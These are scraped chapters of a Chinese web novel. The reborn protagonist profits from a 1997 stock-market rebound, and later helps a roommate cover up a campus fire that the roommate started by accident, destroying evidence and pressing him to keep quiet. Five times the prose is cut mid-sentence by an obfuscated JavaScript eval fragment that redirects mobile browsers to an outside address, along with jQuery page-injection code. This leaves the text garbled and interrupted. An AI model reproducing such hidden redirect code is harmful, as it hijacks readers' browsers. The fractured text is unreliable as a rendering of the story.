提前预报名可以,但也不是谁都要,有基础、上手快的优先。 没几天的工夫,全年的报名名额就用光了。 赵秀荣和韩德富坐在家里算账,算完两人都懵了。预收的报名费加起来,要是今年培训班顺顺当当从年头办到年尾,一年的收入能赶上他们前半辈子赚的钱加起来还多。 “难怪报纸上说,要打开国门搞活经济呢。”韩德富点了根烟,吸了一口,“这路子对了,是真来钱啊。” 老两口开始忙起来了。赵秀荣每天在培训班里教人,从早到晚,嗓子都哑了;韩德富那边也不消停,缝纫机一台接一台地改,还要销售安装。两个人脚不沾地,连给韩学涛做饭的时间都没有了。 而韩学涛每天在家把饭做好,等着父母回来吃。 他觉得很奇妙——看着父母吃自己做的饭,有一种难以言说的满足感,两辈子他都没体会过! 当然,这种日子也过不了几天了,马上要开学了。 不过在开学之前,他还有一件重要的事情。 二月十九号,传来一个震动全国的消息。伟人逝世了。 电视里播着肃穆的画面,播音员的声音沉重缓慢。韩学涛坐在沙发上,看着屏幕上那些黑白影像,一时间说不出话。 惋惜的情绪笼罩着所有人。这位收回香港的老人,没能在有生之年再去香港看看,就差几个月。 当然,这种情绪跟几十年后比起来要简单得多。此时的经济还没有真正腾飞,正处在腾飞前夜的那个节点上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428366|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此后的十年,尤其是加入WTO之后,才是真正的黄金十年。等到那段狂奔的年代过去,人们再回头,才会真正体会到这位老人的伟大。 而此刻,看着电视里肃穆的画面,韩学涛知道自己赚钱的机会来了。 就在明天,股市将上演奇迹日。 二月二十号一大早,韩学涛就到了宁海证券营业部。 一进门,他就觉得气氛不对。平时这个点,交易大厅里早就炸开了锅,喊行情的、聊消息的、骂娘的,什么声音都有。今天却安静得让人不自在。 大屏幕还没亮,黑黢黢地挂在前方,像一块巨大的铅板。 股民们三三两两地散落在大厅里。有人闷闷地坐着等开盘,盯着大屏幕一动不动;有人缩在角落里窃窃私语,声音压得极低,像怕惊动什么似的。 整个大厅像被抽走了空气。 韩学涛找了个位置坐下。左边是个戴眼镜的胖大叔,蓝裤子洗得发白,膝盖上搁着一个娃哈哈八宝粥的罐子,里面插了好几个烟头。他看见韩学涛坐下,扭头朝他点了点头,张嘴想说什么,又咽回去了,自己从兜里摸出一根烟点上。 右边盘腿坐着一个老头,闭着眼睛,两手搭在膝盖上,像是在练气功。 韩学涛看了他一眼,没理会,安静地等着开盘。 时间一分一秒过去,墙上的挂钟指针走到九点三十分,大屏幕亮了。 紧接着,整个大厅就被冻住了。 股票行情跳出来的瞬间,没有人说话,没有人动。屏幕上一片惨绿——低开9.61%,几乎全线跌停。 所有人都目瞪口呆。胖大叔手里的烟头摁进八宝粥罐子里,发出一声细微的“嗤”,手在抖。右边的老头睁开眼睛,看了大屏幕一眼,整个人定住了,紧接着从地上弹起来就往柜台跑,生怕晚一秒股票就卖不出去了。 整个大厅弥漫着紧张到窒息的气氛。 九六年,除了年底那次“关灯吃面”,整个股市都在涨。涨了快一年了。谁也没想到,新年刚过没几天,股市就变成这个样子。 昨天的消息像一记重锤,把所有人都打懵了。 第88章 奇迹日 大厅里开始乱了。 填单卖股票的人越来越多,柜台前挤成一团。 有人踮着脚往里递单子,有人胳膊肘顶着前面人的后背往里拱,有个中年女人被人群挤得东倒西歪,手里的单子掉在地上,弯腰去捡又被后面的人推了一把,差点趴到柜台上去。 吵架的声音不时传来,尖的粗的混在一起,嗡嗡地响。 几个穿制服的工作人员在人群里挤来挤去,扯着嗓子喊“排好队排好队”。 还有很多人坐在原地没动。 有人双手抱头,弓着背,眼睛直直地盯着显示屏;有人靠在椅背上,嘴唇紧抿,脸上的肉耷拉着。显示屏上绿光闪闪,跌停的股票越来越多,一排排地往下刷,没有停的意思。 韩学涛坐在那里看着屏幕,脑子里飞快地转着。 他知道待会儿这些股票就会反转,但**买哪一支。 这一段历史他了解得不多,那时候他还在监狱里服刑,要不是这个奇迹日的日子太特殊,他也记不起来——甚至很可能重活一回都错过了。这些股票里绝大多数在未来几个月都会涨,直到那个巨大的风暴来临。但不同的股票涨幅不一样,哪支涨得多,哪支涨得少,**。 无所谓了,听天由命吧。 他起身走到大厅旁边的书架前,那里摆着几本供股民翻阅的杂志。他随手抽了一本——厚厚的,封面花花绿绿,印着“证券市场红周刊”几个大字。 他拿着杂志走回座位。旁边的胖大叔扭头看他,眼里带着点诧异,低声问:“小伙子,有消息?” “没什么消息,”韩学涛说,“想买点股票,不知道买哪个好。” 胖大叔手里的八宝粥罐子晃了一下,烟灰差点撒出来。 他瞪大眼睛,上下打量了韩学涛一眼,像是在看一个疯子。满屏绿油油,一大堆股票趴在地板上,这时候买股票?他扭过头继续看屏幕,嘴里嘟囔了一句什么,听不清。 韩学涛没理他,随手翻开一页,看了一眼页码——21。 二十一。行,就买它了。反正都能赚,无非是赚多赚少的事。 他合上杂志,站起来,对目瞪口呆的胖大叔笑了笑:“大叔,我去买股票了,再见。” 他转身往柜台那边走。胖大叔愣在原地,看着他的背影,突然一激灵,脑子里闪过一个念头——二十一?二十一不就是自己那只股票吗?早上开盘就被打到跌停板上趴着的那只。 他犹豫了好一阵,刚才已经下定决心要去卖了。这会儿,他忽然又犹豫了。手里的烟烧到了过滤嘴,烫了一下手指,他才回过神来,把烟头摁进罐子里,眼睛盯着屏幕,那只股票还趴在跌停板上,一动不动。 韩学涛买股票不用填单子。他走到交易大厅旁边的电话区,找了个空位,拿起话筒拨了丁瑶的号码。 “师姐,帮我买股票。”他把代码报过去。 电话那头沉默了一瞬。 丁瑶简直不敢相信自己的耳朵。要不是韩学涛的账户上一只股票都没有,她都以为这个指令是卖而不是买。 这些天她一直在等韩学涛的电话——自从知道这个学弟入了八万块,她就惦记着,琢磨他什么时候会来买股票。前几天行情不错,她还想过,这个师弟怎么不积极呢?今天买进去,到收盘不就赚了嘛。 她现在的客户权益正好卡在十万的转正关口上,要是韩学涛的账户能盈利,她就稳了。等了几天没等到,现在好不容易等到了——却是市场暴跌的时候。 “师弟,你知道现在什么行情吗?”丁瑶怀疑韩学涛不懂,着急地给他解释,“你的那只股票在跌停板上。跌停板就是……这个制度去年十二月才开始实行的,今天是有史以来第一次这么多股票同时触发跌停。市场恐慌情绪很严重,如果不是跌停板挡着,肯定跌得更多。你现在买进去……” 她苦口婆心说了一通,电话那头安静了两秒。 “没事,师姐,买吧。我决定了。” 丁瑶噎住了,一股无力感弥漫全身。韩学涛坚持要买,她没权力拦着。 “师弟,你买多少?要不先少买一点,等价格再跌一跌再补仓……” “全买!” 丁瑶手里的电话差点没拿稳。帮韩学涛下完单,她看着屏幕上那个账户——所有资金全部买入那只趴在跌停板上的股票,靠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428367|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在椅背上,一阵头疼。 完了,转正泡汤了。 就在这时,旁边传来一阵骚动。 “动了动了!几个龙头股的跌停板打开了!” 丁瑶从椅子上弹起来,几步跑到一个老员工桌前:“吴哥,是不是要涨了?” 吴哥盯着电脑屏幕,手指在键盘上敲了几下,摇摇头:“卖盘还是很大,恐慌情绪还在。不过确实有一部分买盘开始逢低接了。”他扭头看丁瑶,“小丁,你那边也有客户问?” 丁瑶咽了口口水:“我这边有个客户,刚刚要我满仓买入。” 吴哥愣住了。 就在这时,电脑屏幕上的数字开始剧烈跳动。卖盘上堆积如山的筹码被一口一口吃掉,速度越来越快。跌停板上的买单像潮水一样涌进来,一单接一单,根本停不下来。那只股票从跌停板上被拉起来,直线上升。 办公室里所有人都死死盯着屏幕,被这一幕突然到来的大反转惊呆了。 楼下交易大厅已经彻底疯了。 戴眼镜的胖大叔看见自己的股票从跌停板被撬开,直线往上窜,烟灰缸从膝盖上滑下去,哐当一声摔在地上。他猛地站起来,狠狠挥了一下拳头,脸涨得通红:“漂亮!” 大厅里那些排着队准备卖股票的人,此刻全都不卖了,纷纷往大屏幕这边涌。有人踮着脚尖往前挤,有人从人缝里探着头看。那些单子已经递进柜台的,正扯着嗓子往回要:“等等!我先不卖了!把单子还给我!” 早上手快卖了股票的人,此刻脸色铁青,站在原地一动不动。 那个早上坐在韩学涛右边练气功的老头,此刻脸色苍白。他看着自己那只V型反转的股票,嘴唇直哆嗦,忽然抬起手,狠狠地抽自己巴掌,一下,两下,抽得脸颊通红。 “化悲痛为力量!买!买!买!”有人在大厅里扯着嗓子喊了一声,转身就往柜台冲。这一声像点着了**桶,所有人都反应过来,跟在后面往前涌。 “我买!” “我也要买!” “帮我填单子!” 整个大厅像开了锅的水,原先恐慌抛售的气氛一扫而空,变成了狂热的买进。 第89章 关于你的秘密 下午收盘,早上的跌幅全部收回,大盘还涨了0.3%。韩学涛早上在跌停板吃进的股票比大盘涨得还猛,当天收益率将近12%——小一万块就这么到手了,一天赚出一个万元户。这事儿要是传出去,不知道多少人眼红。 丁瑶一整天除了帮老员工干活,一有空就盯着盘子,脑子里全是韩学涛。 这个刚上大一的小师弟处处都透着不一样。能拿出八万块炒股,这笔钱在他们营业部算不上大户,勉强够个中户。但操盘的是个大一学生,这就绝无仅有了。今天他在跌停板全仓买入那一刻,她本来觉得他太莽撞,结果偏偏买在了最低点。这难道仅仅是运气? 下午快收盘时她就回到座位上,等着韩学涛的电话。一直等到收盘过了半小时,电话始终没响。倒是接了其他几个小户的电话,都是问后续市场怎么走。她耐心应付完,看着桌上那部沉默的电话,心里有点说不上来的滋味。 实际上,韩学涛上午买了股票就走了。 下午在报摊买了份晚报,看了一眼行情,再没管过。只等着日子到了卖掉就行。 奇迹日过后第四天,也就是2月24日,宁海大学报到。 当天下午,203寝室的人就到齐了。 一个寒假没见,大家见了面就是发烟、聊天、翻包,把家里带来的吃的掏出来跟同寝室的牲口分享。 于鑫拿出一个罐子,拧开盖子。一股浓烈的酸臭味瞬间弥漫整个寝室。 “操!关上!快关上!”李靖捂着鼻子往门口退。 小巴直接从床上跳下来:“三金哥,你回家带了啥?生化武器啊!” 赵江手忙脚乱撕了两团纸巾塞进鼻孔,瓮声瓮气地说:“这啥味儿?太他妈恶心了,我刚才以为自己掉旱厕里了!” 于鑫抱着罐子不撒手,一脸得意:“你们懂个屁!我妈做的特产,臭酸笋。闻着臭,吃着香!回头你们尝了就知道了。” “哥,求你了。”小巴双手合十,“以后你吃这玩意儿能不能去寝室外头?咱还要在这屋住三年半呢。” “你们不识货拉倒。”于鑫盖上盖子,把罐子往桌上一搁,“回头我给胡荔荔送点去。” 李靖嚎道:“三金哥,你把咱寝室弄得跟茅厕一样也就算了,还去祸害405?我怕以后四年他们都不会找我们联谊了!” “没事!”赵江把鼻孔里的纸巾拽出来,“我觉得她们女生可能喜欢这种口味,三金,你赶紧全送过去!” “想得美。她们爱吃我也不给。”于鑫把罐子塞进柜子里,“这个学期我就靠这点口粮了。” “得了吧你。”李靖踹了他凳子一脚,转头问,“晚上我们要不要把405的叫出来一起聚餐?” 周晓白正在整理书架,头也没回:“不要了吧,晚上我还有事。聚餐我也去不了。” 楚强靠在床头翻一本什么书,淡淡地说:“刚报到,女生那边说不定也要收拾。过几天再说吧。” 李靖和于鑫同时扭头,眼里全是震惊。 “**,你们两个看破红尘了?”李靖指着周晓白和楚强,“小白也就算了,强哥,你回来都不去找徐爽?” 楚强翻了一页书:“老找她干什么?我又不是没有别的事。” 于鑫伸出大拇指:“强哥真男人。” 他转身拉住李靖:“要不咱俩单独行动?你去找高洋,我去找胡荔荔。” “行。”李靖点头,又想起来,“要不也拉上涛哥?”他冲韩学涛喊,“涛哥,要不要一起把展雪找出来?” 韩学涛正把寒假带回来的东西往柜子里塞,头也没回:“你们去吧,我晚上要去图书馆。” 李靖和于鑫同时开口,异口同声,一个字:“操。” 韩学涛倒不是故意推脱。他是真想去图书馆。 这么多天没帮冯老师翻译资料,他早就心痒了。 寒假回家之前,他正好翻到MIT一个关于GPS原理与应用的专业课程——信号结构、误差分析、差分定位、卡尔曼滤波,每一讲都跟他以后要做的地图测绘息息相关。可惜刚听了个开头就过年了,资料又不能带回家,他惦记了整整一个寒假。现在总算开学了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428368|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪还有心思去搞什么联谊? 偏偏越急越不如意。 跑到图书馆一看,大门锁着。又去找冯老师,被告知冯老师下周一才返校。韩学涛站在行政楼门口,郁闷得不行。这个星期是听不成了。 他一路想着心事往回走,脑子里全是卡尔曼滤波的递推公式,压根没注意旁边有人经过。 “韩学涛!” 一个女声从侧面炸过来,带着气。他转头,看见孙婷婷站在路边,手里拎着个塑料袋,脸绷着,显然已经喊了他不止一声。 “你现在学会目中无人了?”孙婷婷走过来,语气不依不饶,“就这么从我旁边过去,装没看见我?” 韩学涛心想,他不是装没看见,是真没看见。但他懒得解释,随口问:“怎么了?” 孙婷婷眉毛一挑,声音更冷了:“哎,你就这个态度?我们好歹是联谊寝室,再说了,我也没得罪过你吧?” “没有没有,我就是着急回寝室。”韩学涛说,“没事我先走了。” 孙婷婷往前一步,拦住他。她上下打量了他两眼,忽然换了个语气,带着点阴阳怪气:“哦——我知道了。你是不是因为李曼,才对我这个态度?” 韩学涛停下脚步,看了她一眼:“孙大小姐,你想多了。我这人不会因为任何别人的话,改变自己心里的想法。” 孙婷婷哼了一声,没接这个话茬:“那既然这样,你请我喝杯热可可,我告诉你一个秘密。” “对不起,不感兴趣。” “这个秘密是关于李曼的哟。” 韩学涛笑了笑:“我对别人的秘密更不感兴趣。” 孙婷婷也不恼,往前凑了半步:“那我告诉你一个关于你的秘密,好不好?” 韩学涛看着她,嘴角挂着笑:“你竟然还知道我的秘密?那这样吧,你说一个关键词,我看看值不值得请你这杯热可可。” 孙婷婷想了想,说:“好啊。关键词——名额。” 韩学涛眉头微微皱了一下:“什么意思?” “就是宁海大学的入学名额呀。”孙婷婷说。 第90章 跟孙婷婷钻小树林 韩学涛挤进去买了一杯热可可、一杯热茶,端出来递给孙婷婷:“说吧。” 孙婷婷接过来,低头喝了一口,左右看了看:“这里人太多,没有说话的气氛。跟我来。” 她转身进了校门,韩学涛跟在后面。两个人穿过图书馆后面的小路,绕到一栋老旧的实验楼侧面,从一个小门钻过去,七拐八绕,最后钻进了一片小树林。林子不深,树也不高,一棵老槐树底下有块大石头,磨得挺平整,旁边落着几片去年的枯叶。 韩学涛把石头上的灰吹了吹,坐下来,抬头看孙婷婷:“想不到孙大小姐也钻小树林。看你走得这么顺,应该不是第一次吧?” 孙婷婷在旁边坐下来,理了理衣角:“四年大学,连小树林都没转过,算什么读了大学。” “那你怎么不去林业学院?或者考农院也行,那边树林更多,听说还是野生的,不像咱们这儿都是人工种的。” “野人才钻野林子。”孙婷婷白了他一眼,“在宁海大学转小树林,那是浪漫。在农大转小树林,那是堕落。不一样的。” 韩学涛笑了笑,把茶杯放在一边:“行了,可以说了吧?” 孙婷婷捧着热可可,沉默了一会儿,忽然开口:“韩学涛,你是不是喜欢李曼?” “你刚才说的关键词,应该和这个没关系吧?” 孙婷婷没理他,自顾自地说:“你们寝室找我们联谊的时候,我还以为你在打展雪的主意。一个学期下来,你没往我们寝室打过一次电话,也没来找过展雪。所以我猜,你的心思不在她身上。” 韩学涛笑着说:“怎么在你的逻辑里,我就非得找一个人?不是展雪就是李曼?” “你这人真不老实。”孙婷婷看了他一眼,“寒假你送李曼去医院的事,以为我不知道?好几个人都告诉我了。” 韩学涛没接话。 孙婷婷继续说:“我还知道一件事——新生军训,八公里越野,是你背着李曼跑完全程的吧?” 她看着韩学涛,笑了一下:“那时候大家都是新生,谁也不认识谁。但我偏偏认识李曼,又恰巧和你成了联谊寝室。你说巧不巧?” 韩学涛淡淡道:“是我背她跑的。这个信息很重要吗?” “那我告诉你——追李曼,你没什么机会。” 韩学涛侧头看她:“你的意思是,让我追你?” 孙婷婷笑了起来:“涛哥,带情绪了呀。刚才我跟你说的关键词,你还记得吗?你乖乖跟我到这儿来,应该是知道一些事情的——你的大学名额,差点被人弄走。你根本没有力气反抗。要不是紧要关头那个人出了事,你以为你还能进宁海大学?” 韩学涛问:“这事你怎么知道的?” 孙婷婷笑得意味深长:“因为那个要抢你名额的人,就是为了追我。” 她歪着头看他,促狭笑道:“现在你知道刚才的玩笑有多愚蠢了吧?要抢你名额的人,家里很有权势,拿捏你这样的小人物不费吹灰之力。他还要来巴结我。你觉得你还有资格说追我的话吗?” 韩学涛点点头:“确实没有。” 他站起来,拍拍裤子上的灰,对孙婷婷挥了挥手:“那我走了。” “李曼家的条件跟我家差不多。”孙婷婷的声音从背后传来,“你不够资格追我,就够资格追李曼?” 韩学涛脚步没停,回头道: “你这是在替李曼打抱不平?” “当然不。”孙婷婷的声音跟上来,“相反,我很乐意看到这个场面。毕竟我们是联谊寝室,上次打赌输给你,我还喊你一声涛哥。所以你要追李曼,我可以帮你。” 韩学涛摆摆手:“不需要,谢谢。” 孙婷婷站起来,冲着韩学涛的背影提高声音:“越是底层的男人,无用的自尊心就越强!告诉你,你不要我帮忙,李曼很快就被人追走了。那个人的条件比你好一百倍,你拿什么跟人家争?” 韩学涛没说话,脚步一步都没停,钻出小树林,眉头才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428369|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微微皱了一下。 孙婷婷跟他说那些话,有点出乎他的预料。 她知道自己入学名额差点被人顶替,这不奇怪。毕竟这妞是半个当事人,而且家里还是东林的婆罗门。 但她老是纠结自己和李曼的关系,就有点说不上来了。还说有人在追李曼——这点他倒没听李曼提过。 沿着原路往回走,韩学涛穿过实验楼侧面那个小门,拐到墙背后的小道。这里是两栋老楼之间的夹缝,平时没什么人走,墙根长着半人高的枯草,路灯照不到,黑漆漆的,只有头顶巴掌宽的天。 走到一半,他忽然停下脚步。 有人在哭。 声音压得很低,断断续续的,夹在风里。他侧耳听了一下,又看见一点火光在暗处闪了一下。天已经完全黑了,那点火光格外显眼。 这么偏僻的地方,谁跑这儿来哭?还烧东西? 他往那个方向走了两步,探头一看——是周晓白。他蹲在墙根底下,面前摊着一个大包,正从里面掏出一张张纸和笔记本,往地上那团小火苗里扔。火光映着他的脸,眼眶红红的,脸上还挂着泪。 韩学涛站在原地没动。他想起刚才在寝室,李靖说要叫405一起聚餐,小白拒绝了。莫非他和许秋出了什么问题? 对小白和许秋的事,他一直没怎么上心,但隐约记得听谁说过——是小巴还是老谢来着——许秋有别的男生在追。小白这是……伤情了? 他犹豫了一下,不知道是该过去劝两句,还是留点空间让他自己消化。毕竟男人嘛,软弱的时候往往不太想被别人看到。 就在这时,事情起了变化。 小白大概哭得太伤心,没注意纸扔得太多太快,火苗猛地蹿起来,呼啦一下舔上了旁边那棵枯树的根部。枯树干透了,一沾火就着,火舌顺着树皮往上爬,转眼就烧到了半人高。 小白被吓了一跳,往后退了两步,手里那叠纸掉在地上,愣愣地看着那团火,一时没了反应。 第91章 灭不了火,就灭迹 韩学涛冲过去,一把将小白从火堆旁拽开,顺势把他推到墙根的阴影里。 火光照不到小白的脸了,但小白整个人像被钉住一样,愣在原地,手里的纸掉在地上,眼睛直直盯着那团越烧越旺的火,嘴唇在抖,一个字都说不出来。 “涛哥?你怎么……”小白看清来人,终于发出声音。 “别说话!一句都别说。更不要喊任何人的名字!”韩学涛压低声音警告,语速很快,眼睛扫了一眼四周,已经没空再管他了。 火烧得比他预想的快。 枯树干透,火舌顺着树皮往上蹿,舔到低矮的枝杈,转眼就烧到了半人高。旁边就是实验楼的墙角,二楼的窗户黑洞洞地敞着,火焰的尖梢已经够到了窗沿。 韩学涛目光快速巡视——消防龙头在楼的那一头,远水解不了近渴。地上的土又硬又实,没工具根本刨不动。 “**!”他低低骂了一声。 火已经灭不了了。再耽误下去,他们跑都跑不掉。 灭不了火,那就灭痕迹。 他扫了一眼四周,看见墙根底下堆着一小堆湿树叶,大概是早上扫到这儿还没来得及清走的。他抱起来就往火上盖。 湿树叶压上去,火没灭,但浓烟猛地腾起来,一团一团地往上涌,在夜色里格外扎眼。烟一起来,视野更模糊了,远处就算有人往这边看,也看不清到底是谁站在这里。 “刚过完年,就这么旺?老子这是要发达了呀......" 韩学涛蹲下来,一边嘴里嘀咕,一边把地上那些烧了一半的笔记本、纸张捡起来,全扔进火里。火舌舔上去,纸页卷曲、发黑、化成灰。他动作很快,眼睛扫过地面,确认每一片写了字的东西都进了火堆,这才站起来。 “看看地上有没有掉东西。任何东西都不要留。”他压低声音,“快点。” 小白蹲下来,手还在抖,在地上胡乱摸索。指尖碰到一块半焦的纸片,烫了一下,缩回来,又伸出去,攥在手心里。 韩学涛最后扫了一眼地面,确认没有遗漏,一把拉起小白,头也不回地钻进了旁边的小树林。 整个过程,不过几分钟。 小白腿像踩在棉花上,被韩学涛拽着往前走,深一脚浅一脚,脑子里一片空白。那团火、那栋楼、那些烧成灰的纸,在身后越来越远,他的意识却还停留在原地,像是被那场火钉住了,什么都没想,什么都想不了。 韩学涛拉着他在校园里兜了个大圈,绕到最北边的侧门,才从那条路拐回正街。远处救火的声音已经响起来了,消防车尖锐的鸣笛划破夜空,人声、脚步声、喊叫声混在一起,往实验楼那个方向沸腾。 小白忽然停住,声音发颤:“我们……不回寝室吗?” “晚点再回。”韩学涛说,“身上都是烟熏火燎的味道,回去不好解释。” 小白沉默了几秒,又问:“那边着火……” 韩学涛站定,转身看着他。路灯下,小白的脸白得像纸,眼睛里的恐惧还没散尽...... “小白,你听我说。”韩学涛搂住小白的脖子,直盯着他的眼睛,“今天晚上的事,不能跟任何人提。你嘴不严,说出去,就是害我。” 小白嘴唇动了动,没出声。 “实验楼烧了,学校肯定要查。你被抓到,开除是跑不掉的。”韩学涛一字一句,“火是你放的,就算被开除,你也不冤枉。但我今天是帮你。如果你把我也露出去,害我也被处分——” 他停了一下,用手揉了揉小白的头发:“小白,这事我不会放过你。听明白我的意思没有?” 路灯昏黄的光落下来,罩在两个人身上。 小白站在光里,那张白净的脸上的表情慢慢起了变化。韩学涛的威胁似乎起了作用。小白脸上的恐惧还在,但不再是刚才那种被吓懵的状态了。他眨了眨眼,像是刚从一场噩梦里醒过来,周围的世界重新变得真实——路灯、树影、远处救火的声音,还有面前韩学涛的脸。 然后汗水就涌了出来。 先是额头上,细细密密的一层,然后鼻尖、下巴、脖颈,一颗一颗往外冒,越来越多。衣服瞬间湿透。 “涛哥,我不会害你的。今晚的事,如果被揪出来,我一个人担。” 韩学涛看着他,那张白净的脸和清澈的大眼睛里透着真诚。拍拍他的肩膀,“走吧。” ..... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428370|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' . 韩学涛带着小白出了校门,直奔南塔桥。 包丽拉开门,脸上绽开笑,张嘴就是一句:“韩大哥,你来了,我还以为你——” 话说到一半,她看见了韩学涛身后的小白,后半截脏话硬生生咽了回去。 她扫了一眼自己身上的毛衣,又瞄了一眼屋里,嗓门立刻降下来,连音调都变了:“韩大哥,你来了……这位是?” 韩学涛侧身让小白进门:“我同学,小白。” 包丽冲小白温柔点头,又转向韩学涛,埋怨道:“韩大哥,你来了怎么也不提前打个招呼?我这屋里都没来得及收拾,被我哥弄得乱糟糟的。” 韩学涛看了她一眼。包达还在监狱里数星星呢,他什么时候回来把房间弄得乱糟糟的? 他也懒得多说,直接吩咐:“去给我和我同学买两身衣服,从里到外都要。不要太高档,随意就行。一个小时够不够?” “买衣服?”包丽眼睛一亮,“韩大哥你放心,买衣服我太会了。用不了一个小时,半小时我就能回来!”她抓起外套就往外走,经过小白身边时脚步慢了一拍,又加快走了。 门关上,屋里安静下来。小白站在门口,看着那扇关上的门,犹豫了一下,问:“这个女生是……?” “我朋友的妹妹。”韩学涛把桌上的杂物往旁边推了推,腾出块地方坐下,“没读过多少书,不过人挺能干的。她哥哥出了点事,不在家,小姑娘一个人赚钱养家。” 小白没说话,在床沿上坐下来,沉默了一会儿,忽然低声说:“比我强多了。现在想想,我以前写的那些诗,什么用都没有。百无一用是书生,伤春悲秋有什么用?比不上一个没读过书的小姑娘,自己就能赚钱养家。” 他摊开手掌。 掌心里捏着一角烧焦的纸,边角卷曲发黑,只剩两行字还勉强能辨认——“而今夜,我只想用一张薄纸,拓下两鬓霜花,轻声说:到家了……” 是上次卖苹果时,他写的那三首诗中的一首。其他的全烧成灰了,只剩下这两句。 小白看着那两行字,声音幽幽的:“这可能是我从小到大写过唯一价值的诗了。也烧没了。” 第92章 有人故意纵火? 包丽回来得比说的还快,手里拎着两个大塑料袋,进门就往桌上一放。 韩学涛打开袋子看了一眼,伸手冲她竖起大拇指。 包丽得意地一扬下巴:“楼下就有个卖外贸尾单的,韩大哥,你让我买衣服我懂。” 外贸打折店的衣服就是这样,新的,但瞧着像二手的,皱巴巴地堆在一起,翻一翻才能挑出好的来。这种衣服正适合他们,穿回寝室不会扎眼。包丽买的这两身,颜色素净,款式简单,搭在一起还挺顺眼,比他们原先身上的搭配更显审美。女生确实比男生会买衣服。 韩学涛和小白在包丽那儿洗了澡,换了衣服。换下来的旧衣服,韩学涛卷成一团,连同小白包里那些没来得及烧的诗词稿子,一起交给包丽:“全处理掉。烧干净,一点痕迹别留。”包丽接过去点了点头,没多问。 两人回到寝室时还没熄灯。屋里正热闹着——203的几个人全在,隔壁202和204也串过来两三个,有的坐在床上,有的靠在桌边,有的蹲在椅子上,聊得唾沫横飞。 话题只有一个:实验楼那边的大火。 “我听说烧得老惨了,半栋楼都没了!” “那实验课上不了吧?我们系好几门实验课都在那边上。” “上不了正好,直接给学分呗,谁还稀罕上课。” “你想得美。建工系那边才惨,他们好多设备都在那栋楼里,听说一台仪器好几万,烧没了拿什么做实验?” “好几万?那是公家的,又不是他们自己掏钱。” “你懂什么,设备没了,毕业论文拿什么做数据?” “我擦!你们还关心学分?我听说——听说啊——小树林那边烧出了一大堆鸳鸯,七八对儿,当时正在里面嘴对嘴,火一起全跑出来了,被学校一锅端,带走调查了。” 这话一出,满屋子的兴趣立刻从火转向了人。 “真的假的?谁啊?哪个系的?” “这谁知道,学校捂着不让说。” “那肯定跑不了,小树林那地方,晚上去的不都是……你懂的。” “强哥还是英明,今天没去找徐爽钻树林。要不然,这会儿说不定也在保卫处喝茶呢。” 几个人跟着笑,于鑫笑得最大声。 韩学涛和小白一前一后进了门。他俩平时就不是话多的人,不接话茬也不起哄,安安静静地进来,一个坐到自己的床上,一个去洗漱,跟往常没什么两样。屋里的人正聊在兴头上,谁也没多看他俩一眼,连他们换了衣服都没察觉。 宁海大学保卫处的门被推开,杜校长走在前面,身后跟着教务处和秘书科的几个人。屋里的人全站了起来,保卫处处长杨志斌从办公桌后绕出来,快走两步,伸出手。 高校改革还没铺开,宁海大学的保卫处权力不小,不光是学校的内设机构,还挂着派出所的牌子,刑事侦查和行政处罚权都攥在手里。 杨志斌的行政级别是正处,跟各院系的院长、系主任平起平坐。 “杜校长。” 